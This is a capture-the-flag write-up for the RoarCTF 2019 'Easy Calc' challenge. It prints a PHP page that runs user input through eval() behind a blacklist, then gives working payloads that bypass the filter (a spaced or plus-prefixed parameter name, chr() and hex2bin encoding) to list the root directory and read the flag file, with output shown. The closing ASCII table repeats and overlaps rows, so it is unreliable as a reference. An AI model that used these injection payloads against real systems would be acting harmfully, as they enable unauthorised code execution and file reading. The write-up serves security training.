【BUUCTF】 [RoarCTF 2019]Easy Calc
1. Title
Web source code
<!--I've set up WAF to ensure security.-->
<script>
$('#calc').submit(function(){
$.ajax({
url:"calc.php?num="+encodeURIComponent($("#content").val()),
type:'GET',
success:function(data){
$("#result").html(`<div class="alert alert-success">
<strong>答案:</strong>${
data}
</div>`);
},
error:function(){
alert("这啥?算不来!");
}
})
return false;
})
</script>
calc.php?num=encodeURIComponent($("#content").val())
$("#content").val()
gets the value of the HTML tag element whose id is content, which is JQuery
$("#content")
same as document.getElementById("content");
$("#content").val ()
Same as document.getElementById("content").value;
Visit the source code of calc.php, showing the filtering rules of waf
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
http://node3.buuoj.cn:27447/calc.php? num=phpinfo();
Disable the function system()
calc.php? num=system(chr(34).chr(108).chr(115).chr(34))
2. Use php and waf to bypass the difference in request parameter parsing
1. The scandir("/") function reads the directory, / is filtered so it is changed to chr(47) to bypass,
Check the catalog and find the flag
calc.php? num=1;var_dump(scandir(chr(47)))
1array(24) { [0]=> string(1) “.” [1]=> string(2) “…” [2]=> string(10) “.dockerenv” [3]=> string(3) “bin” [4]=> string(4) “boot” [5]=> string(3) “dev” [6]=> string(3) “etc” [7]=> string(5) “f1agg” [8]=> string(4) “home” [9]=> string(3) “lib” [10]=> string(5) “lib64” [11]=> string(5) “media” [12]=> string(3) “mnt” [13]=> string(3) “opt” [14]=> string(4) “proc” [15]=> string(4) “root” [16]=> string(3) “run” [17]=> string(4) “sbin” [18]=> string(3) “srv” [19]=> string(8) “start.sh” [20]=> string(3) “sys” [21]=> string(3) “tmp” [22]=> string(3) “usr” [23]=> string(3) “var” }
Read f1agg file
calc.php? num=1;var_dump(file(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
1array(1) { [0]=> string(43) "flag{d7237702-d691-465b-825e-14f50e5ea684} " }
(1). Same as 1, but the space is changed to +
calc.php?+num=1;var_dump(scandir(chr(47)))
1array(24) { [0]=> string(1) “.” [1]=> string(2) “…” [2]=> string(10) “.dockerenv” [3]=> string(3) “bin” [4]=> string(4) “boot” [5]=> string(3) “dev” [6]=> string(3) “etc” [7]=> string(5) “f1agg” [8]=> string(4) “home” [9]=> string(3) “lib” [10]=> string(5) “lib64” [11]=> string(5) “media” [12]=> string(3) “mnt” [13]=> string(3) “opt” [14]=> string(4) “proc” [15]=> string(4) “root” [16]=> string(3) “run” [17]=> string(4) “sbin” [18]=> string(3) “srv” [19]=> string(8) “start.sh” [20]=> string(3) “sys” [21]=> string(3) “tmp” [22]=> string(3) “usr” [23]=> string(3) “var” }
calc.php?+num=1;var_dump(file(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
1array(1) { [0]=> string(43) "flag{d7237702-d691-465b-825e-14f50e5ea684} " }
(2). The chr(47) here can also be changed to hex2bin(dechex(47))
The dechex() function converts a decimal number to a hexadecimal number. The hex2bin() function converts a string of hexadecimal values into ASCII characters.
calc.php?+num=1;var_dump(scandir(hex2bin(dechex(47))))
1array(24) { [0]=> string(1) “.” [1]=> string(2) “…” [2]=> string(10) “.dockerenv” [3]=> string(3) “bin” [4]=> string(4) “boot” [5]=> string(3) “dev” [6]=> string(3) “etc” [7]=> string(5) “f1agg” [8]=> string(4) “home” [9]=> string(3) “lib” [10]=> string(5) “lib64” [11]=> string(5) “media” [12]=> string(3) “mnt” [13]=> string(3) “opt” [14]=> string(4) “proc” [15]=> string(4) “root” [16]=> string(3) “run” [17]=> string(4) “sbin” [18]=> string(3) “srv” [19]=> string(8) “start.sh” [20]=> string(3) “sys” [21]=> string(3) “tmp” [22]=> string(3) “usr” [23]=> string(3) “var” }
(3).file_get_contents
calc.php?%20num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
1string(43) "flag{d7237702-d691-465b-825e-14f50e5ea684} "
2. http smuggling to bypass WAF
3. Basic knowledge
1. Use PHP's string parsing feature Bypass
Use PHP's string parsing feature Bypass
Before php takes out the parameters from the requested url and saves it, 1. Delete the blank symbols 2. Convert some special characters (including spaces) into underscores_
During php parsing, if there is a space in front of the variable, it will be parsed after removing the preceding space. When parsed by PHP 'num'=' num'='+num'
, it is considered to be the same variable, but waf only recognizes'num' and'num' and'+num' are not in the range, so Can bypass waf.
2. PHP functions
Some commonly used functions may be filtered out in waf, and some other functions need to be used.
部分常用函数在waf中可能会被过滤掉,需要用一些其它的函数来实现。
var_dump() 将变量以字符串形式输出,替代print和echo
chr() ASCII范围的整数转字符
file_get_contents() 顾名思义获取一个文件的内容,替代system('cat flag;')
scandir() 扫描某个目录并将结果以array形式返回,配和vardump 可以替代system('ls;')
scandir() 函数返回指定目录中的文件和目录的数组。
PHP chr() function: chr(ascii)
The chr() function returns characters from the specified ASCII value.
The ASCII value can be specified as a decimal value, an octal value or a hexadecimal value. Octal values are defined as with leading 0, and hexadecimal values are defined as with leading 0x.
<?php
echo chr(61) . "<br>"; // 十进制
echo chr(061) . "<br>"; // 八进制值
echo chr(0x61) . "<br>"; // 十六进制值
?>
In the playload, chr().chr().chr(), the "dot"
"dot" is a string concatenation, that is, a concatenation operator, used to splice strings.
"Comma" is not a concatenation, but a separator. When using echo to output a series of variables, strings, numbers, etc., use "commas" to separate them.
<?php
echo "hello"."world"; //. 连接两个字符串
echo "<br/>";
echo 'a' . 'b'. 'c'; //是将三个字符串拼接之后输出
echo "<br/>";
echo 'a', 'b', 'c'; //是依次输出三个字符串
echo "<br/>";
?>
helloworld
abc
abc
简单的查看方法:
Open the notepad, if you want to view "Chr("119")", you can press and hold Alt, enter the number 119, then release Alt, the display result is w
Python conversion view
print(ord('a'))
print(chr(97))
#encoding=utf-8
#py3+
# 用户输入字符
c = input("请输入一个字符: ")
# 用户输入ASCII码,并将输入的数字转为整型
a = int(input("请输入一个ASCII码: "))
print(c + " 的ASCII 码为", ord(c))
print(a, " 对应的字符为", chr(a))
#encoding=utf-8
#无提示输入字符串,获取每个字符的ascii码
a = input()
for i in range(len(a)):
print("ascii of " + a[i] + " is: " + ascii(ord(a[i])))
Aa‘“
ascii of A is: 65
ascii of a is: 97
ascii of ‘ is: 8216
ascii of “ is: 8220
#encoding=utf-8
c = input("Please input a char: ")
a = int(input("Please input a ascii:"))
while True:
if a < 0:
print("ascii is wrong, Plese try again")
a = int(input("Please input a ascii:"))
elif a > 1000:
print("ascii is wrong, Plese try again")
a = int(input("Please input a ascii:"))
else:
break
print(" this is a ascii test")
print("assic is:",ord(c))
print(" char is:", chr(a))
2 10 16 图形
0010 0000 32 20 (空格)(␠)
0010 0001 33 21 !
0010 0010 34 22 "
0010 0011 35 23 #
0010 0100 36 24 $
0010 0101 37 25 %
0010 0110 38 26 &
0010 0111 39 27 '
0010 1000 40 28 (
0010 1001 41 29 )
0010 1010 42 2A *
0010 1011 43 2B +
0010 1100 44 2C ,
0010 1101 45 2D -
0010 1110 46 2E .
0010 1111 47 2F /
0011 0000 48 30 0
0011 0001 49 31 1
0011 0010 50 32 2
0011 0011 51 33 3
0011 0100 52 34 4
0011 0101 53 35 5
0011 0110 54 36 6
0011 0111 55 37 7
0011 1000 56 38 8
0011 1001 57 39 9
0011 1010 58 3A :
0011 1011 59 3B ;
0011 1100 60 3C <
0011 1101 61 3D =
0011 1110 62 3E >
0011 1111 63 3F ?
0100 0000 64 40 @
0100 0001 65 41 A
0100 0010 66 42 B
0100 0011 67 43 C
0100 0100 68 44 D
0100 0101 69 45 E
0100 0110 70 46 F
0100 0111 71 47 G
0100 1000 72 48 H
0100 1001 73 49 I
0100 1010 74 4A J
0100 1011 75 4B K
0100 1100 76 4C L
0100 1101 77 4D M
0100 1110 78 4E N
0100 1111 79 4F O
0101 0000 80 50 P
0101 0001 81 51 Q
0101 0010 82 52 R
0101 0011 83 53 S
0101 0100 84 54 T
0101 0101 85 55 U
0101 0110 86 56 V
0101 0111 87 57 W
0101 1000 88 58 X
0101 1001 89 59 Y
0101 1010 90 5A Z
0101 1011 91 5B [
0101 1100 92 5C \
0101 1101 93 5D ]
0101 1110 94 5E ^
0101 1111 95 5F _
0110 0000 96 60 `
0110 0001 97 61 a
0110 0010 98 62 b
0110 0011 99 63 c
0100 0000 64 40 @
0100 0001 65 41 A
0100 0010 66 42 B
0100 0011 67 43 C
0100 0100 68 44 D
0100 0101 69 45 E
0100 0110 70 46 F
0100 0111 71 47 G
0100 1000 72 48 H
0100 1001 73 49 I
0100 1010 74 4A J
0100 1011 75 4B K
0100 1100 76 4C L
0100 1101 77 4D M
0100 1110 78 4E N
0100 1111 79 4F O
0101 0000 80 50 P
0101 0001 81 51 Q
0101 0010 82 52 R
0101 0011 83 53 S
0101 0100 84 54 T
0101 0101 85 55 U
0101 0110 86 56 V
0101 0111 87 57 W
0101 1000 88 58 X
0101 1001 89 59 Y
0101 1010 90 5A Z
0101 1011 91 5B [
0101 1100 92 5C \
0101 1101 93 5D ]
0101 1110 94 5E ^
0101 1111 95 5F _
0110 0000 96 60 `
0110 0001 97 61 a
0110 0010 98 62 b
0110 0011 99 63 c
0110 0000 96 60 `
0110 0001 97 61 a
0110 0010 98 62 b
0110 0011 99 63 c
0110 0100 100 64 d
0110 0101 101 65 e
0110 0110 102 66 f
0110 0111 103 67 g
0110 1000 104 68 h
0110 1001 105 69 i
0110 1010 106 6A j
0110 1011 107 6B k
0110 1100 108 6C l
0110 1101 109 6D m
0110 1110 110 6E n
0110 1111 111 6F o
0111 0000 112 70 p
0111 0001 113 71 q
0111 0010 114 72 r
0111 0011 115 73 s
0111 0100 116 74 t
0111 0101 117 75 u
0111 0110 118 76 v
0111 0111 119 77 w
0111 1000 120 78 x
0111 1001 121 79 y
0111 1010 122 7A z
0111 1011 123 7B {
0111 1100 124 7C |
0111 1101 125 7D }
0111 1110 126 7E ~
0111 1111 127 7F DEL 删除
https://www.litefeel.com/tools/ascii.php